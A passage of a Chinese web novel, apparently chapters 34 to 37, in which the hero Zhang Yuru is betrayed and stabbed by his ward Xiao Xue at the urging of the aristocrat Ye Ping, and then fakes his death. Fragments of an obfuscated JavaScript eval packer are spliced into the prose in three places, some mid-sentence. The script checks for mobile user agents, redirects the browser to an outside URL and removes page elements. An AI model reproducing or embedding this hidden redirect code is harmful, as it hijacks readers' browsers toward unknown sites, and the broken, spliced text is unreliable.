就在傀儡们开始闪避的刹那,张玉汝双眼的黑白光芒同时暴涨。 「造化之眼」精准捕捉到每具傀儡关节转动的角度、躯体倾斜的幅度,甚至连它们足底与地面的摩擦力都看得一清二楚、 而「加速世界」则将这些数据以数百倍的速度推演,在他脑海中瞬间生成了傀儡接下来三秒内的完整运动轨迹,连最细微的偏移都没有遗漏。 “受死!”张玉汝的吼声带着一丝撕裂般的沙哑。 话音未落,他的右臂突然传来“咔啦”的脆响——淡青色的血管在皮肤下暴起,手臂上的皮肉以肉眼可见的速度寸寸裂开,鲜血顺着指缝滴落,砸在地面上溅起细小的血花。 这一拳的力量实在太过磅礴,早已超出了他血肉与骨骼所能承载的极限,每一次力量的攀升,都像是在硬生生撕裂他的躯体。 可即便如此,张玉汝脸上却没有丝毫痛苦,反而露出了一抹近乎癫狂的神态,眼底闪烁着破釜沉舟的决绝,手臂非但没有收回,反而再次加力,拳头上的莹白能量几乎要凝成实质。 “轰!” 无上的力量终于轰然爆发,带着摧枯拉朽的气势破开了一切阻拦。 最先迎上拳头的右侧傀儡,那足以格挡长刀的锯齿臂,在接触到拳风的瞬间便“咔嚓”断裂,断面处的金属碎渣飞溅;中间傀儡还未完成侧翻,便被拳力直接撞中胸口,合金躯体如同纸糊般向内凹陷。 无数裂纹顺着凹陷处蔓延,下一秒便崩解成数十块碎片;左侧傀儡虽已后撤数步,却依旧被拳风余波扫中,右腿直接从关节处断裂,重重砸在地面上发出沉闷的响声。 那些曾被视作坚不可摧的傀儡躯体,在这记爆破拳面前,竟不比一张薄纸牢固多少。 这一拳的力量甚至破碎了四周的空间。 V以张玉汝的拳头为中心,空气泛起水波般的涟漪,几道细微的黑色裂缝凭空出现,裂缝中传来一股强大的吸引力,将散落的傀儡碎片、地面的青砖碎屑甚至空中的气流都不断拖拽进去,发出“滋滋”的空间撕扯声,场面震撼到了极致。 空间裂缝的吸力还在不断增强,原本纠缠着张玉汝的几具合金傀儡,此刻如同被无形大手攥住般,在裂缝前剧烈挣扎。 断了臂的傀儡用仅剩的机械爪死死抠住地面青砖,指节处的玄铁与砖石摩擦出火星,却还是被吸力一点点拖拽着向裂缝靠近。 还有那具被拳风震碎半边躯体的傀儡,残破的胸腔里露出的齿轮疯狂转动,试图驱动躯体后退,可碎片却不断从它身上剥落,被裂缝瞬间吞噬,发出细碎的“咔嗒”声,像是在做徒劳的抵抗。 而张玉汝站在裂缝不远处,右臂低垂着,方才寸寸裂开的皮肉正以肉眼可见的速度愈合。 淡绿色的微光从他手臂的伤口处渗出,那是「枯木逢春」能力生效的迹象。 原本外翻的血肉缓缓收拢,暴起的血管逐渐平复,连骨骼断裂的“咔啦”修复声都清晰可闻。 几滴未干的血珠还挂在他的袖口,可伤口处已经长出了粉嫩的新肉,不过数息时间,那只接近残废的手臂便恢复了大半活动能力,只剩下几道浅浅的疤痕还未完全消退。 这便是「枯木逢春」的奇特之处——张玉汝的伤势越重,能力所能调动的生命能量便越磅礴,恢复速度也随之飙升。 有时他受了重伤,体内沉睡的生命潜能被彻底激活,从濒死状态恢复到正常,反而比处理一些皮外伤还要更快,仿佛伤势本身就是催动恢复力的燃料。 此刻他活动了一下手腕,感受着手臂逐渐恢复的力量,眼底的凝重却未减轻分毫。 他瞥了一眼还在被空间裂缝拉扯的傀儡,心中没有半分停留的念头——这些傀儡从一开始就不是为了击败他。 它们的核心目的始终是拖延时间,无论是等支援赶到,还是暗中对小雪动手,多耽搁一秒,便多一分变数。 “颠倒世界。”张玉汝抬首朗声道,声音穿透空间裂缝的撕扯声,带着不容置疑的掌控力。 话音落下的瞬间,深沉如墨的能量从他掌心缓缓涌现——那墨色能量并非此前凝聚长刀时的锐利,反而带着一种厚重的凝滞感,如同融化的黑曜石般在他指间流转。 他轻轻挥手,墨色能量便如潮水般向外扩散,速度不快,却带着无孔不入的渗透力,短短数息间便将他与傀儡战斗的整片区域笼罩其中。 被能量覆盖的瞬间,周围的光线似乎都暗了几分,空气流动的速度明显放缓,连空间裂缝吞噬碎片的“滋滋”声都变得模糊起来。 他并非打算用「颠倒世界」对付那些还在挣扎的傀儡——此前打出的空间裂隙吸力愈发强劲,早已将傀儡们困在原地,它们连自保都艰难,根本无需再浪费力量。 张玉汝动用这一能力,真正的目的,是借助「颠倒世界」特有的“减缓变化速度”效果,彻底阻断这片区域与外界的联系。 他目光扫过被墨色能量包裹的范围,心中已有盘算:这些合金傀儡的确不是**,没有自主意识,「颠倒世界」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那印记由他的能量凝聚而成,与他的意识紧密相连,一旦小雪遇到危险,或是他需要立刻赶到小雪身边,只需借助碎空镜的力量,便能通过印记实现瞬间传送。 银白色的空间能量如同细碎的星子,在张玉汝周身萦绕流转——这些能量并非散乱分布,而是沿着碎空镜投射的光轨凝聚,在他脚下勾勒出一道半透明的空间符文。 他深吸一口气,一步朝着符文中心踏出,周身的银白光芒骤然暴涨,如同裹住他的光茧般瞬间收缩。 下一秒便带着他的身影彻底消失在原地,只留下空气中残留的一丝空间波动,以及那片还被「颠倒世界」笼罩的战场。 空间穿梭的过程快得没有任何实感,仿佛只是眨眼间,张玉汝便已出现在另一处场景。 这里是他特意为小雪挑选的隐匿山谷,谷中长满青翠的竹林,溪水潺潺流过青石,空气中还带着雨后泥土的湿润气息,正是他安置小雪的地方。 “赶上了。”看到竹林深处那道坐在石凳上、正低头整理草药的纤细身影,张玉汝悬着的心骤然落地,紧绷的肩膀下意识放松了几分,连呼吸都轻快了些。 可这份放松只持续了一瞬,他眼中的警惕便迅速回笼——幕后之人连针对他能力的傀儡都能造出,未必想不到他会传送来找小雪,这里未必安全。 “小雪,我们要立刻离开这里。”张玉汝快步上前,声音里带着一丝不容置疑的急切,伸手便拉住了小雪微凉的手腕,转身就要朝着谷外的方向走。 他太清楚“天人”有多难缠,对方既然能布下傀儡陷阱,必然还有后招,此刻最要紧的是带小雪转移,找到真正安全的地方。他没有时间在这时候解释前因后果,只能等离开后再在路上慢慢说明情况。 变故便在瞬间发生——一道极细的青色光芒突然从张玉汝身后射出,速度快得几乎突破了视觉极限,带着刺骨的寒意,悄无声息地掠过空气,甚至没来得及让张玉汝察觉到危险的气息。 “噗嗤——” 细微却清晰的穿透声响起,张玉汝的身体猛地一僵,拉着小雪的手骤然收紧。 他能清晰地感受到,一道冰冷刺骨的异物从背后穿透了自己的胸膛,那是带着极寒能量的利刃,青色的冰霜甚至在伤口处开始蔓延,冻结了他胸腔里的暖意,连呼吸都变得滞涩起来。 他缓缓低下头,能看到自己胸前的衣物被染透,一道青色的冰霜利刃尖端正从胸口探出,冰晶在阳光下泛着冷冽的光。 第 35章 叶平 他缓缓低下头,目光落在自己的胸前——衣物已经被鲜血染透,一道青色的冰霜利刃尖端正从胸口探出。 冰晶在阳光下泛着冷冽的光,刃身上还凝结着细小的冰花,随着他的呼吸轻轻颤动。 胸口传来的刺骨寒意,让张玉汝的瞳孔骤然收缩,心脏像是被那冰刃攥住,连跳动都变得迟缓起来。 这股力量……他太熟悉了。 此刻穿透胸膛的致命利刃所附带的气息,正是独属于小雪觉醒能力的「青霜」气息——带着冰雪特有的凛冽,又藏着一丝纯净的凉意。 这是他当初手把手教她掌控能量时,最熟悉不过的气息。 这把冰霜利刃的形状相当精妙。 刀刃呈流畅的弧月状,弧度柔和得像是精心打磨过的玉饰,刀尖带着细微的冰棱纹路,既减少了空气阻力,又能让冰霜能量更集中。 刀柄处还凝结着一朵小巧的冰晶花,花瓣层层叠叠,连花芯的纹路都清晰可见。 这分明是他当初教导苏小雪「能量塑性」时,为了让她更好地掌控分散的冰霜能量而特意设计的形态。 还记得那时,阳光正好落在石桌上,小雪握着指尖凝聚出的一团散碎冰雾,皱着眉说“总是捏不成形状”。 他笑着走过去,握住她的手,一点点引导着能量流动,耐心地说:“这样的形状既好看,又能减少能量消耗,还能让刀刃更锋利,最适合你现阶段使用。” 当时小雪眼睛亮了亮,反复尝试了好几次,终于凝聚出第一把完整的弧月冰刃时,开心得像个得到糖的孩子,举着冰刃对他说:“姜大哥,你看!我做好了!” 可如今,这把他亲手“设计”、亲眼看着她学会凝聚的利刃,却成了刺穿自己心脏的凶器。 “为……为什么?” 张玉汝艰难地开口,声音沙哑得如同被砂纸反复磨过,每一个字都要耗费极大的力气,喉咙里的冰碴感让他忍不住咳嗽了一声,却牵扯到胸口的伤口,疼得他眼前微微发黑。 他缓缓抬起头,目光死死盯着身前的小雪,原本清明的眼睛里蒙上了一层难以置信的雾色。 疑惑与震惊像潮水般淹没了他。 他想不通,那个总是怯生生跟在自己身后,会因为一朵花开而开心半天,会因为他受伤而偷偷掉眼泪的女孩,为什么会对自己下此**? 为什么要用他教的能力,用他设计的刃形,给自己致命一击? 毫无防备的要害重击,让他瞬间陷入了极其虚弱的状态。 那柄青色冰霜利刃还停留在他的胸腔里,极寒的能量顺着刀刃不断侵入他的身体,沿着血管蔓延,冻结着他的血液,让原本温热的血液变得粘稠、冰冷。 内脏被冰刃刺穿的地方传来阵阵剧痛,连骨骼都像是被冻得发脆,每动一下都带着刺骨的疼。 更可怕的是,那股寒意还在顺着神经向大脑蔓延,试图冻结他的意志,让他逐渐失去意识。 他能感觉到自己的力量在快速流失——周身原本稳定的能量波动变得紊乱不堪,连平日里能快速修复伤势的「枯木逢春」,此刻也只在伤口处泛起点点微弱的绿光,像风中残烛般,刚冒出来就被冰霜能量压制下去,根本无法催动。 他的手还紧紧拉着小雪的手腕,可那只曾经温热柔软的手,此刻却带着与冰霜利刃同源的寒意,冰冷得让人心慌。 他能感觉到,小雪的手腕在他的掌心下微微颤抖了一下,像是有什么挣扎,可那点挣扎太过微弱,快得让他以为是自己的错觉。 “哈哈哈,张玉汝,被信任的人背叛的滋味,如何啊?”一句带着戏谑与嘲讽的话语突然响起,像淬了冰的针,狠狠扎进张玉汝混沌的思绪里。 那声音不高,却带着一种居高临下的傲慢,在寂静的山谷中回荡,惊得竹梢的露珠簌簌滚落,砸在青石上溅起细小的水花。 张玉汝强忍着胸口的剧痛,艰难地转动脖颈,望向声音传来的方向——只见山谷上空,一名青年男子正踏空而来。 他并非御空飞行,而是每落下一步,脚下便会凭空凝结出一道泛着淡金光晕的无形台阶,台阶层层向上延展,如同通往云端的黄金阶梯。 他就那样踩着台阶,不急不缓地从高天之上走下,衣摆随着气流轻轻飘动,姿态优雅得仿佛不是降临战场,而是赴一场奢华的宴会。 这男子衣着极为华贵——上身是一件暗纹锦袍,领口与袖口用金线绣着繁复的云纹,云纹间还缀着细小的珍珠,在阳光下折射出细碎的光芒。 腰间系着一条鎏金腰带,腰带正中镶嵌着一块鸽卵大小的红宝石,周围环绕着一圈细碎的钻石;连他脚上的靴子,靴头都包着一层薄金,行走间能听到细微的金属碰撞声。 这般满身黄金与珠宝的装扮,若是换作旁人来穿,难免会显得俗不可耐,甚至透着几分暴发户的粗鄙,可穿在他身上,却异常和谐。 他生得一张极为俊美的脸,眉如墨画,眼若寒星,鼻梁高挺,唇形完美,肌肤白皙得近乎透明,周身仿佛天生萦绕着一股贵气,那是久居上位者才有的从容与傲慢。 这样的贵公子,无论出现在哪里,都必然是众人目光的焦点。 可此刻,他那俊美的脸上却没有半分温润,反而挂着一抹计谋得逞的奸邪笑容,眼底闪烁着残忍的快意,像是猫捉老鼠般,正欣赏着张玉汝的狼狈模样。 张玉汝的呼吸愈发滞涩,冰霜还在顺着胸腔蔓延,可他依旧强撑着,目光死死盯着眼前的男子,声音沙哑地开口:“你是谁?” “呵呵,”男子轻笑一声,脚步停在离地三尺的台阶上,居高临下地看着他,语气带着几分玩味。 “居然问我是谁?张玉汝,你这些日子处心积虑地四处调查,找遍了大半个城池,不就是想要对付我们吗?如今真刀**地对上了,你倒忘了?” 张玉汝的瞳孔微微一缩,脑海中瞬间闪过这些日子追查的线索——那些隐藏在暗处的势力,那些针对能力者的阴谋,还有之前那些傀儡身上熟悉的能量波动…… 他心中骤然明了,却只是扯了扯嘴角,用仅剩的力气,平淡地说道:“原来是你们这群野狗。” “啪!”男子轻轻拍了拍手。 脸上的笑容却冷了几分,语气带着刺骨的嘲讽:“没爹没妈没教养的玩意,到了这步田地,你也只能逞逞口舌之利了。” 他顿了顿,目光扫过张玉汝胸前的冰刃,又看向他身旁的小雪,笑容愈发残忍,“不过没关系,很快,你连逞口舌之利的机会都没有了。” “不要以为自己凭几分微末本事,就能敢得罪天人!” 叶平踏在无形的黄金台阶上,居高临下地俯视着张玉汝,语气里满是上位者的轻蔑,锦袍上的金线在阳光下晃得人眼晕。 “你一个区区大师级能力者,在我们天人眼中不过是随时能碾死的蝼蚁,再怎么挣扎,也翻不起半点浪花。” 他向前迈出一步,脚下的金光台阶随之延伸,周身的傲慢气息愈发浓烈:“就算是那些站在能力者顶端的大宗师,得罪了我们天人,也不会有什么好下场——何况是你?” 说这话时,叶平脸上的快意几乎要溢出来,眼底闪烁着扭曲的兴奋。 这种看着仇敌落入绝境、任自己宰割的复仇快感,让他浑身的血液都在沸腾,甚至比他以往享受过的任何奢华享乐都更让他愉悦。 作为天生便拥有特权的天人,叶平从出生起就习惯了俯视众生。 在他眼里,张玉汝这种从底层爬上来的大师级能力者,与路边的蝼蚁没有任何区别,随手就能捏死。 可就是这只他从未放在眼里的“蝼蚁”,却一次次跳出他的掌控,不仅敢屡次与天人作对,甚至在之前的冲突里,还敢对天人动手——亲手击杀了叶家的公子,也就是他叶平最疼爱的亲弟弟,叶光。 一想到叶光,叶平眼底的轻蔑便被浓重的怨毒取代。 当初得知弟弟死讯的那一刻,他整个人都被愤怒与悲伤吞噬。 他愤怒张玉汝竟敢挑衅天人的威严,竟敢对叶家人下死手;更愤怒叶光身为天人,竟然会败给这样一个“蝼蚁”,丢尽了叶家的脸面。 愤怒之后,悲伤则像潮水般淹没了他——叶光是他从小一起长大的弟弟,两人感情极深,如今却死在了一个他根本瞧不上的人手里,这份痛苦让他几近疯狂。 也就是从那时起,叶平亲自接下了对付张玉汝的任务,势要让这个敢杀他弟弟的“蝼蚁”付出最惨痛的代价。 可他没料到,张玉汝竟是个如此难缠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469391|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家伙。 他前后派了数十波人手,有擅长追踪的**,有掌控特殊能力的天人下属,甚至动用过针对能力者的特制陷阱,却每次都被张玉汝凭借敏锐的警觉性和极强的应变能力逃出生天,有时还会反过来让他的人手折损大半。 后来张玉汝逃进了混乱之地——那片连天人都不愿轻易踏足的法外之地,环境恶劣,势力错综复杂,追踪难度倍增。 那段时间,叶平甚至一度产生了放弃的想法,觉得为了这样一个“蝼蚁”耗费太多精力不值得。 直到不久前,他收到消息,张玉汝竟从混乱之地出来了,还先后出现在益州和雪域高原。 这个消息像一剂强心针,瞬间点燃了叶平心中的复仇火焰,他立刻重启了对付张玉汝的计划。 这一次,叶平没有再选择直接派人截杀——之前的失败已经证明,张玉汝的警觉性和观察能力都强得惊人,正面截杀不仅很难留下他,还容易打草惊蛇。 他思来想去,最终选择了一条更阴狠的路:从张玉汝身边的人下手。 让一个取得张玉汝完全信任的人,在他最没有防备的时候给予致命一击——这才是叶平认为最解恨、也最能确保成功的方法。 想到这里,叶平看向小雪的眼神多了几分满意,又转头看向胸口插着冰刃、脸色惨白的张玉汝,笑容愈发残忍:“怎么样,张玉汝?被自己最信任的人背叛,这种滋味,比死还难受吧?” 为了布下这局棋,叶平前前后后花费了相当大的功夫,甚至动用了叶家在暗中的大半情报网络。 他要做的,不只是找到一个能靠近张玉汝的人,更是要找到一个能让张玉汝彻底放下防备、甚至甘愿交付后背的人。 他先是翻遍了张玉汝的生平卷宗,从他年少时,到成年后;从他曾并肩作战的朋友,到只是有过一面之缘的路人;连他少年时在学院的同窗、曾接济过的贫苦人家,都被叶平的人逐一排查。 那些泛黄的旧纸、零散的传闻,在情报网的梳理下渐渐拼凑出张玉汝的人际脉络,到最后,叶平甚至能说出张玉汝某段友情的起源、某次合作的细节,比张玉汝自己更清楚他身边人的亲疏远近。 可即便掌握了这些信息,想要用张玉汝身边的人来要挟他,依旧比想象中难得多。 叶平对着情报册翻了数夜,最终得出结论:大多数人与张玉汝的关系,都停留在点头之交,远没到能让他为了对方放弃抵抗、束手就擒的地步。 而少数几个能让张玉汝在意的人,要么背后站着不敢轻易得罪的势力——那些势力虽不如天人尊贵,却也有足够的实力与叶平本人周旋。 要么就是长期处在钟灵、曹珂两人的庇护之下,这两位早已在暗中布下防护,叶平的人几次试图靠近,都被悄无声息地挡了回来。 更重要的是,在还不确定能否精准定位张玉汝行踪的情况下,贸然对这些“重要人物”出手,付出的代价只会远超预期——不仅可能打草惊蛇,让张玉汝彻底隐匿踪迹,还可能引来其他势力的不满,甚至让叶家陷入**非议。 况且叶平心里清楚,这些与张玉汝共过患难的人,大多心性坚韧,即便真的被他控制,等到了张玉汝面前,也绝不会乖乖配合,反而会用眼神、动作传递警示,只会引来张玉汝更深的警惕,得不偿失。 就在叶平几乎要放弃这条思路时,他忽然想到了一个人,一个再合适不过的人。 此刻,看着张玉汝胸口不断蔓延的冰霜,叶平缓缓开口,声音带着刻意的引导,像毒蛇吐信般钻进小雪耳中:“夏侯雪,你不是一直想要替你姐姐报仇吗?” 他顿了顿,目光扫过张玉汝痛苦的神情,加重了语气,“现在,你的仇人就在你面前,只需要你再用些力气,把冰刃再往前送一寸,这个杀了你姐姐的凶手就会死在这里——到时候,你姐姐在天有灵,也能安息了。” 说这话时,叶平脸上的笑容愈发残酷,眼底闪烁着病态的满足。 他最想看到的,就是这样的场面:仇人被自己最信任的人亲手重创,在震惊、痛苦与绝望中死去,而那把“刀”,还会因为“复仇”的名义,被他肆意愚弄。 这比任何直接的杀戮,都更能让他感受到复仇的快感。 第 36章 相信 叶平的催促声像一根冰冷的针,扎进夏侯雪混沌的思绪里,让她不由得晃了晃神。 视线落在张玉汝胸前——那里的血液正顺着冰刃的缝隙不断渗出,染透了衣料,而他周身萦绕的黑白二色能量,正随着呼吸微弱地起伏。 尤其是那股墨色能量,带着熟悉的凝滞感,竟像一把钥匙,猝不及防地打开了她记忆的闸门。 恍惚间,她仿佛回到了那些漂泊无依的日子。 姐姐夏侯月战死的消息传来时,怀庆府的风都是冷的,父亲夏侯轩抱着姐姐的灵位,三天三夜没合眼。 那时她才知道,父亲早年在与异兽战斗时落下的旧伤,本有机会痊愈,可母亲早逝的悲痛尚未消散,大女儿的战死便成了压垮他的最后一根稻草。 从那以后,父亲的咳嗽声没断过,脸色一天比一天苍白,连握住她的手都在不停颤抖。 夏侯轩知道自己时日无多,他最放心不下的就是年幼的夏侯雪。 他强撑着病体,带着她离开了满是伤心回忆的怀庆府,一路颠簸前往雍州,去找自己的本家——雍州夏侯家求助。 推开门的那一刻,父亲几乎是跪下来,把她的手交到了族老手中,声音嘶哑地拜托对方照拂。 那时夏侯雪躲在父亲身后,只记得族老们脸上复杂的神情,和空气中弥漫的、属于豪门望族的冰冷气息。 起初,夏侯家确实接纳了她,给了她一间小小的房间,让她能吃饱穿暖。 可不知道为什么,在父亲的葬礼刚过没多久之后,族老们便以“非嫡系血脉”“无甚天赋”为由,把她赶出了夏侯家大门。 那天雍州下着小雨,她抱着父亲留下的唯一一件衣物,在街头漫无目的地走,雨水混着眼泪流进嘴里,又苦又涩。 她捡过别人丢弃的馒头,在破庙里熬过寒夜,被野狗追着跑过小巷,那段日子的艰难,像刻在心底上的伤疤,一想起来就痛彻心扉。 直到那天,一个穿着锦衣的人拦住了她,说自己是叶家的人。 对方递给她一块热饼,告诉她:“害死你姐姐夏侯月的凶手,叫张玉汝。你父亲也是因为他,才心病难医,早早离世。” 那时的她,满心都是对姐姐的思念和对命运的怨恨,便这样轻易地相信了。 从那以后,叶家给了她住处,给了她食物,还帮她安排了觉醒仪式——当指尖第一次凝聚出淡青色的冰霜时,她以为自己终于抓住了复仇的希望。 可觉醒能力后,叶家并没有把她留在身边精心培养,只是给了她一笔钱,让她按照自己的方式生活。 只有在需要的时候,才会派人送来任务,或是给些修炼资源。 夏侯雪对此从没有过怨言,反而满心感激——毕竟是叶家把她从饥寒交迫的窘境里拉了出来,让她有了活下去的底气。 所以每次接到任务,她都会拼尽全力去完成;而空闲的时候,她总会去边境的小镇,用自己的冰霜能力帮那些被异兽伤害的人,仿佛这样,就能稍微弥补一点心中的空缺。 她偶尔也会疑惑,叶家为什么要帮自己这个毫无背景的孤女,可每次刚升起念头,就会被“报恩”的想法压下去——她只想好好活下去,然后为姐姐报仇。 直到张玉汝离开益州,前往雍州的消息传来,叶平终于给了她新的任务。 为了不让她露馅,叶家做得极为周密,他们尽可能让一切都变得足够真实。 她在秦岭附近活动,遇到张玉汝时的惊慌失措,甚至她因为无法战胜异兽时而露出的怯懦,全部都是最为真实的表现。 就算张玉汝那天没有经过小镇,叶家也会安排她在其他地方“偶遇”——可能是山间的客栈,也可能是溪边的洗衣台,总之,她一定会出现在张玉汝的生命里。 最初的日子里,叶平什么都没说,只让她“留在张玉汝身边,观察他的动向”。 那段时间,张玉汝教她凝聚冰刃,为她挡下异兽的攻击,甚至在她生病时守在床边煮粥。 她偶尔会恍惚,觉得这样的日子很安稳,每当看到张玉汝温和的笑容,她都觉得这个人好像真的是她的哥哥一样。 直到张玉汝突袭魏家、拿到资料后被柳家赶走,叶平才派人传来消息,那人语气冰冷地提醒她:“夏侯雪,现在是告诉你一切真相的时候了。张玉汝就是你的杀姐仇人,现在,是你报仇的时候了。” 那一刻,所有其他的念头都被“复仇”的执念压了下去,她攥紧了拳头,指甲深深嵌进掌心——她要为姐姐报仇,为父亲报仇。 无论是夏侯雪还是叶家清楚地知道,仅凭她那点微末的冰霜能力,根本伤不到张玉汝。 所以叶平联合了雍州的天人李家,派了那些掺杂惰性物质的合金傀儡去拖延张玉汝,为她争取时间。 而她,则在叶家的帮助下,服用了能在一刹那爆发力量的药剂,还被赋予了天人特有的冰霜能量——那些能量冰冷刺骨,在她体内肆虐,却也让她的「青霜」能力达到了前所未有的强度,足以刺穿张玉汝的防御。 这些纷乱的回忆,在她脑海中仅仅停留了不到一秒钟。 “这是……”夏侯雪突然回过神,感觉到一股奇特的力量正包裹着自己——那力量带着熟悉的加速感,让她的思维变得异常清晰,连记忆里的细节都变得无比真切。 她猛地抬头看向张玉汝。 这是「加速世界」的效果,是张玉汝身上的力量,无意间让她的思考速度变得如此之快。 可他为什么要这样做? 夏侯雪的心头突然涌上一阵困惑。 张玉汝明明被自己刺穿胸膛,此刻连呼吸都带着血沫,却依旧任由「加速世界」的力量包裹着她,没有半分收回的意思。 这股力量没有丝毫恶意,反而像一层温柔的屏障,让她能清晰地梳理脑海中的混乱,这与叶平口中“残忍嗜杀的仇人”形象,简直判若两人。 与此同时,叶平的嘲笑声还在山谷中回荡,尖锐而刺耳:“张玉汝,你看看你现在的样子!被自己信任的人捅刀子,连反抗的力气都没有,真是可笑!你不是很能打吗?不是敢杀天人吗?现在怎么像条死狗一样……” 他越说越兴奋,俊美的脸上满是癫狂,脚下的黄金台阶都因他的情绪波动而泛起细碎的金光,仿佛在为他的残忍喝彩。 夏侯雪下意识转头,一边是叶平扭曲的笑脸,一边是张玉汝苍白却依旧温和的神情——他没有愤怒,没有斥责,只是静静地看着她,眼底藏着难以言喻的痛楚,却还有一丝不易察觉的期待,仿佛在等她说出什么,或是想起什么。 这样的画面让她心头猛地一震,恍惚间竟有些分不清,到底谁才是真正的“恶人”。 她忍不住开始怀疑:自己从小被叶家灌输的那些话,真的没有问题吗? 叶平说张玉汝是害死姐姐的凶手,说父亲是因他抑郁而终,可这些年里,她从未见过任何证据,只有叶家单方面的叙述。 如今大仇“即将得报”,她心中没有半分叶平那样的快意,反而像被掏空了一块,只剩下莫名的空虚与慌乱——她甚至不敢去看张玉汝胸前的冰刃,不敢去想那道伤口是自己造成的。 她的太阳穴突然传来一阵尖锐的疼痛,像是有什么东西要从记忆深处冲破出来。 夏侯雪下意识按住额头,眼前的景象开始模糊,耳边叶平的嘲笑声渐渐远去,取而代之的是一阵遥远而清晰的晨风声,还有父亲温和的叹息声。 一段尘封已久的记忆,猝不及防地在她脑海中展开——那是一个薄雾弥漫的清晨,天刚蒙蒙亮,青山上的露珠还沾在草叶上,凉丝丝的。 父亲夏侯轩穿着一件洗得发白的旧衣,牵着她的手,一步一步走上山。 那时姐姐夏侯月刚战死不久,他们要在离开怀庆府前,来姐姐常去的这片山坡告别。 就在他们放下花束时,一个穿着青布衣衫的少年从不远处走来。 少年看起来比她姐姐还要小一点,然而他的脸上带着浓重的疲惫,眼底还有未干的泪痕。 在得知了对方的身份之后,她当时像被点燃的炮仗,挣脱父亲的手冲上去,指着少年的鼻子怒吼:“是不是你害**我姐姐?是不是你!” 少年被她突如其来的质问吓了一跳,愣了愣后,却没有辩解,只是低下头。 他声音沙哑地一遍遍地说:“对不起,对不起……是我没保护好她,是我的错……” 那声音里的愧疚不是装出来的,是从心底深处透出来的悔恨,像一根细针,轻轻扎在了她当时的心上。 后来父亲把她拉到身后,蹲下来温柔地摸了摸她的头。 然后轻声说:“小雪,别这样。他不是害死你姐姐的人,他和你姐姐一样,都是那场战斗的受害者。月儿是为了保护大家才牺牲的,不要把恨错放在好人身上,知道吗?” 那时她似懂非懂地点了点头。 可是后来,这段记忆仿佛消失在了她的脑海中一样。 父亲病重、被夏侯家驱赶、遇到叶家的人……这些记忆渐渐被痛苦和仇恨覆盖,竟再也没有想起过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他胸口的血迹还在不断扩大,呼吸越来越微弱,却依旧努力抬起眼,望着泪如雨下的夏侯雪,用仅存的力气开口:“现在……你和我都在我的「加速世界」领域里。” 他顿了顿,每一个字都带着艰难的喘息,“外界的叶平……看到的一切都是幻象,他以为你还在受他控制……但这个领域维持不了太久。” “我知道你有很多疑问,关于你姐姐,关于叶家,关于我……其实我也一样。”张玉汝的声音越来越轻,眼底却透着坚定,“我们没有太多时间了,现在,你听我说。” 他深深吸了一口气,像是用尽了全身的力气:“接下来,你要……听从叶平的话,亲手‘杀’了我。” “不——”夏侯雪猛地摇头,泪水再次决堤,她怎么可能再对张玉汝动手?她已经错了一次,怎么能错得更彻底? “否则……他一定会对你动手。”张玉汝打断她的话,眼神里带着决绝,“他需要的是‘你亲手复仇’的结果,一旦发现你恢复神智,以他的狠辣,绝不会留你……只有我‘死’了,你才能活下去。” 夏侯雪怔怔地看着他,嘴唇颤抖着,却说不出一个字。 她想拒绝,想把冰刃扔到地上,想带着张玉汝逃离这里,可张玉汝眼底的决绝,让她知道这是唯一的选择。 “相信我。”张玉汝轻声说完这句话,便缓缓合上了双眼,胸口的起伏越来越微弱,仿佛已经耗尽了所有力气。 就在这时,叶平阴恻恻的声音从领域外传来,带着不耐烦的催促:“夏侯雪!你在磨蹭什么?快动手!他可是你的杀姐仇人,难道你忘了你父亲是**的吗?” 夏侯雪的身体猛地一僵。她抬手抹掉脸上的泪水——不知何时,张玉汝用残余的能量悄悄擦干了她的泪痕,让她看起来像是没有丝毫动摇。 她深吸一口气,压下心中翻涌的痛苦与绝望,眼神瞬间变得冰冷,仿佛又回到了**控时的状态。 她缓缓拔出插在张玉汝胸口的冰刃,青色的冰霜还凝结在刃身上,沾着温热的血液。下一秒,她再次举起冰刃,毫不犹豫地朝着张玉汝的心脏位置,狠狠刺了下去。 “噗嗤——” 冰刃彻底没入胸膛,刺骨的寒意瞬间顺着刀刃传遍张玉汝的全身。 他的身体猛地一颤,随即彻底失去了动静,原本微弱的呼吸戛然而止,周身萦绕的黑白能量也如同潮水般褪去,连一丝生命气息都消失得无影无踪。 第 37章 枯萎 一个人在死前的最后一刻,会展现出什么样的姿态呢? 是像安睡般沉浸在梦中,带着对世间的眷恋悄然离去? 还是望着天空,眼底翻涌着对离开这个世界的无可奈何,连呼吸都透着不甘? 又或是拼尽最后一丝力气,在生与死的边界奋力挣扎,指尖还抓着最后一点希望? 每个人的生命历程不同,临终的姿态也千差万别。 而张玉汝此刻呈现在夏侯雪面前的,既不是眷恋,也不是不甘,更不是挣扎,而是一种近乎无声的枯萎与衰败——仿佛一株被抽走了所有生机的古树,连最后一片叶子都在迅速失去光泽。 他胸口的冰刃还插在那里,青色的冰霜早已蔓延至全身,冻结了他的衣襟,也冻结了他最后的动作。 之前用能力巧妙掩饰的面容,在“生命气息”彻底消散的瞬间,悄然变回了原本的模样。 那是一张轮廓依旧年轻的脸,眉眼间还带着几分温和的弧度,可鬓角与发间却满是霜白的发丝,像是被岁月提前染透了沧桑。 那些白发在冰霜的覆盖下,泛着一层冷冽的光泽,与他苍白的肌肤相映,更显凄凉。 